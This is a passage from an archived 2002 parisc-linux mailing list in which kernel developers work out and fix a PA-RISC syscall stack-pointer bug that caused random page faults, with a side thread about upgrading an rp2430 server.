Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17172

> @@ -104,7 +105,8 @@
>  	   PSW value is stored.  This is needed for gdb and sys_ptrace. */
>  	STREG	%r0,  TASK_PT_PSW(%r1)
>  	STREG	%r2,  TASK_PT_GR2(%r1)		/* preserve rp */
> -	LDREG	0(%r30), %r2			/* get users sp back */
> +	LDREG	-16(%r30), %r2			/* get users sp back */
> +	ldo	-16(%r30), %r30

I believe that can combine the above two instructions into one with
a ",ma" completer.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Fri, 20 Dec 2002 15:37:47 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20021220223747.GD13478@dsl2.external.hp.com>
References: <randolph@tausq.org> <20021218170254.GM19331@tausq.org> <200212202212.gBKMCbv08741@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622044 18867 80.91.229.3 (22 Nov 2014 02:07:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:24 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 15:37:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 163EE4829; Fri, 20 Dec 2002 15:37:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200212202212.gBKMCbv08741@localhost.localdomain>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17173

On Fri, Dec 20, 2002 at 04:12:37PM -0600, James Bottomley wrote:
> The fix is simple: increment the stack pointer.  I chose 16 to preserve every 
> alignment I can think of is that also safe for 64 bit?

needs to be 64 bytes - lamont confirmed.

> With this fix, my system seems fairly solid.  It survives my bitkeeper and 
> stress tests so far (about 30 min) previously it always collapsed within
> a few minutes.

excellent!

> P.S. After this little debug frenzy, I don't personally care if I ever see 
> another line of parisc assembly again, so if another obscure register
> trashing problem turns up, my good deed is done...

*G*
/me kowtows to the east several times...


>  	STREG	%r1,0(%r30)			/* Stick r1 (usp) here for now */
> +	ldo	16(%r30),%r30

As David observed, this wants to use ",ma" and I'll work that out with
lamont/helge offline.
Something will get committed to 2.4.x/2.5.x trees this afternoon.

thanks - what a wonderful Christmas present! :^)

grant


From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Fri, 20 Dec 2002 18:38:24 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20021221013824.GA18983@dsl2.external.hp.com>
References: <randolph@tausq.org> <20021218170254.GM19331@tausq.org> <200212202212.gBKMCbv08741@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622045 18869 80.91.229.3 (22 Nov 2014 02:07:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:25 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 18:38:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A8BE04829; Fri, 20 Dec 2002 18:38:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200212202212.gBKMCbv08741@localhost.localdomain>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17174

On Fri, Dec 20, 2002 at 04:12:37PM -0600, James Bottomley wrote:
...
> The problem is that they forgot to increment the stack pointer.  Thus, if we 
> take an interruption between this instruction and the corresponding
> retrieval, the value can be trashed.

It doesn't look like this bug is present in 2.4.
Richard suspects it was introduced when the task struct was split
from the stack. (I hope I recall his statement correctly)

The new code sequence is:
 95	mtsp    %r0,%sr7			/* get kernel space into sr7 */
 96	STREGM  %r1,FRAME_SIZE(%r30)		/* save r1 (usp) here for now */
 97	mfctl   %cr30,%r1			/* get task ptr in %r1 */
 98	LDREG   TI_TASK(%r1),%r1
105	STREG   %r0,  TASK_PT_PSW(%r1)
106	STREG   %r2,  TASK_PT_GR2(%r1)		/* preserve rp */
107	LDREGM  FRAME_SIZE(%r30), %r2		/* get users sp back */
108	STREG   %r2,  TASK_PT_GR30(%r1)		/* ... and save it */

where STREGM/LDREGM are new macros that use st<X>,ma instructions.
I'll commit this once I see it boots on my c3000.

But, given the assertion we could take an interrupt between line 96 and
107, would an interrupt between 95/96 cause Bad Things (tm) to happen?

grant


From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Fri, 20 Dec 2002 19:46:57 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <200212210146.gBL1kvv11019@localhost.localdomain>
References: <20021221013824.GA18983@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622045 18871 80.91.229.3 (22 Nov 2014 02:07:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:25 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 18:47:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4C134829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 18:47:06 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id RAA01129
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 17:47:01 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id RAA01033;
	Fri, 20 Dec 2002 17:46:58 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gBL1kvv11019;
	Fri, 20 Dec 2002 19:46:57 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from grundler@dsl2.external.hp.com (Grant Grundler) 
   of "Fri, 20 Dec 2002 18:38:24 MST." <20021221013824.GA18983@dsl2.external.hp.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17175

grundler@dsl2.external.hp.com said:
> where STREGM/LDREGM are new macros that use st<X>,ma instructions.

Actually, I found STREG,ma and LDREG,mb worked for me.

grundler@dsl2.external.hp.com said:
> but, given the assertion we could take an interrupt between line 96 and
> 107, would an interrupt between 95/96 cause Bad Things (tm) to happen?

Not according to the parisc assembler manual.  As long as we can guarantee 
that the stack is incremented before the value is stored (which seems to be 
what STREG,ma seems to assure), we should be fine.

James








From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] rp2430 questions
Date: Sat, 21 Dec 2002 16:19:55 +1300
Lines: 31
Approved: news@gmane.org
Message-ID: <20021221031955.AYR14518.web4-rme.xtra.co.nz@[127.0.0.1]>
Reply-To: ghub005@xtra.co.nz
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622045 18873 80.91.229.3 (22 Nov 2014 02:07:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:25 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 20:20:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta203-rme.xtra.co.nz (mta203-rme.xtra.co.nz [210.86.15.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id B620B4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 20:20:02 -0700 (MST)
Original-Received: from web4-rme.xtra.co.nz ([210.86.15.140])
          by mta203-rme.xtra.co.nz with ESMTP
          id <20021221031955.DLEM1199.mta203-rme.xtra.co.nz@web4-rme.xtra.co.nz>;
          Sat, 21 Dec 2002 16:19:55 +1300
Original-Received: from [127.0.0.1] by web4-rme.xtra.co.nz with SMTP
          id <20021221031955.AYR14518.web4-rme.xtra.co.nz@[127.0.0.1]>;
          Sat, 21 Dec 2002 16:19:55 +1300
X-Originating-IP: [210.54.70.42]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17176

> On Thu, Dec 19, 2002 at 03:08:15PM +1300, Gavin Hubbard wrote:
> > The other difference is the PCI controller support - the rp2430 has two
> > working PCI slots and two disabled slots which are enabled by the upgrade.
> 
> ok. I didn't know that.
> 
> > Since I don't actually know how the device disabling is done in hardware,
> > I'm not convinced that parisc-linux will come up smoothly after
> > I install the upgrade (I'm not worried about HP-UX - it will be fine).
> 
> Well, if you really end up with the equivalent to an rp2470, then
> I can assure you there is a kernel out there that will work since
> that's what several developers are using (including myself).
> 
> > Can anyone shed light on this?
> 
> I suspect the rp2430 PDC simply doesn't report one (or two) of the
> PCI bus controllers. Neither HPUX nor parisc-linux will see those slots.
> Very simple to implement and requires no HW changes.
> 
> grant

Thanks for the info Grant. If the only difference is in the PDC device tables then the transition should work with no problem.

The reason we are going with a rp2430 -> rp2470 rather than starting with an rp2470 is that upgrade will coincide with the system moving from development into production. This move is dependent on guesses we've made about business conditions in a few months time (which might be wrong).

Regards,

Gavin



From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] rp2430 questions
Date: Fri, 20 Dec 2002 21:17:20 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20021221041720.GA26293@dsl2.external.hp.com>
References: <20021221031955.AYR14518.web4-rme.xtra.co.nz@[127.0.0.1]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622046 18876 80.91.229.3 (22 Nov 2014 02:07:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 21:17:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D9C314829; Fri, 20 Dec 2002 21:17:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021221031955.AYR14518.web4-rme.xtra.co.nz@[127.0.0.1]>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17177

On Sat, Dec 21, 2002 at 04:19:55PM +1300, Gavin Hubbard wrote:
> Thanks for the info Grant. If the only difference is in the PDC device
> tables then the transition should work with no problem.

If your business will depend on this, then you need ask your
HP sales contacts to find out for sure and not just me guessing:
1) They have techinical support staff who are paid to figure this
   kind of thing out.
2) they will know a real customer is using/wants to use parisc-linux.
   (ie give parisc-linux visibility to the sales folks within HP)

hth,
grant


From - Thu Nov 08 21:26:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Fri, 20 Dec 2002 21:34:48 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20021221043448.GB26293@dsl2.external.hp.com>
References: <20021221013824.GA18983@dsl2.external.hp.com> <200212210146.gBL1kvv11019@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622046 18882 80.91.229.3 (22 Nov 2014 02:07:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:26 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 21:34:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A6B054829; Fri, 20 Dec 2002 21:34:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200212210146.gBL1kvv11019@localhost.localdomain>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17178

On Fri, Dec 20, 2002 at 07:46:57PM -0600, James Bottomley wrote:
> Actually, I found STREG,ma and LDREG,mb worked for me.

doh! of course!
those are cpp macros, not asm macros.

> > but, given the assertion we could take an interrupt between line 96 and
> > 107, would an interrupt between 95/96 cause Bad Things (tm) to happen?
> 
> Not according to the parisc assembler manual.  As long as we can guarantee 
> that the stack is incremented before the value is stored (which seems to be 
> what STREG,ma seems to assure), we should be fine.

I'm not worried about the atomicity of the instruction.

I'm worried about sr7 getting modified without the user stack
pointer getting saved to the proper place. It might not be a
problem at all. I just don't know all the uses of user/kernel
stacks in the interrupt code paths. I'm wondering if the entire
code sequence I quoted needs to block interrupts while setting
up the syscall.

grant


From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 randomly kills applications with page faults
Date: Fri, 20 Dec 2002 23:03:33 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200212210503.gBL53XV11940@localhost.localdomain>
References: <20021221043448.GB26293@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622046 18890 80.91.229.3 (22 Nov 2014 02:07:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:26 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 22:03:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pogo.mtv1.steeleye.com (host194.steeleye.com [66.206.164.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBAF94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 22:03:42 -0700 (MST)
Original-Received: (from root@localhost)
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) id VAA14452
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 21:03:37 -0800
Original-Received: from localhost.localdomain (sshppp-200.mtv1.steeleye.com [172.16.1.200])
	by pogo.mtv1.steeleye.com (8.9.3/8.9.3) with ESMTP id VAA14363;
	Fri, 20 Dec 2002 21:03:34 -0800
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.6/linuxconf) with ESMTP id gBL53XV11940;
	Fri, 20 Dec 2002 23:03:33 -0600
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from grundler@dsl2.external.hp.com (Grant Grundler) 
   of "Fri, 20 Dec 2002 21:34:48 MST." <20021221043448.GB26293@dsl2.external.hp.com> 
X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17179

grundler@dsl2.external.hp.com said:
> I'm worried about sr7 getting modified without the user stack pointer
> getting saved to the proper place. It might not be a problem at all. I
> just don't know all the uses of user/kernel stacks in the interrupt
> code paths. I'm wondering if the entire code sequence I quoted needs
> to block interrupts while setting up the syscall. 

I don't think that's a problem.

An interruption can occur anywhere, and thus it saves all registers.  The only 
problem is that on parisc there aren't separate irq stacks, so the 
interruption expects to be able to use the current kernel stack (whatever it 
is).  As long as the kernel stack is always correctly set up when %sr7 points 
to kernel space, we should be fine.  If we take an interruption before zeroing 
sr7, we go through the procedure to obtain a kernel stack for an executing 
user process (however, in this case, the interruption will stash the registers 
in the task structure, so we can't modify the task structure until we've 
changed sr7 to kernel space).  Also note, we can't use the kernel stack until 
sr7 is in kernel space.

James




From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] rp2430 questions
Date: Sat, 21 Dec 2002 01:01:49 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200212210601.gBL61nsD023504@hiauly1.hia.nrc.ca>
References: <20021221041720.GA26293@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622047 18897 80.91.229.3 (22 Nov 2014 02:07:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:27 +0000 (UTC)
Cc: ghub005@xtra.co.nz, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 20 23:01:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41CF84829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Dec 2002 23:01:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBL61oot023506;
	Sat, 21 Dec 2002 01:01:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBL61nsD023504;
	Sat, 21 Dec 2002 01:01:49 -0500 (EST)
In-Reply-To: <20021221041720.GA26293@dsl2.external.hp.com> from "Grant Grundler" at Dec 20, 2002 09:17:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17180

> 2) they will know a real customer is using/wants to use parisc-linux.
>    (ie give parisc-linux visibility to the sales folks within HP)

That's definitely worthwhile.  A lot of progress has been made in the past
couple of years but we are definitely out gunned compared to the number
of developers working on other architecture.  Both ibm and sun are actively
promoting linux based systems on their architectures.

HP has to learn that there is now a system available for parisc that
surpasses in many ways their own.  There's still lots of rough edges,
but its coming.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 varenet
Date: Sat, 21 Dec 2002 10:19:39 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <200212211019.39336.deller@gmx.de>
References: <20021221040254.E5A8F4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
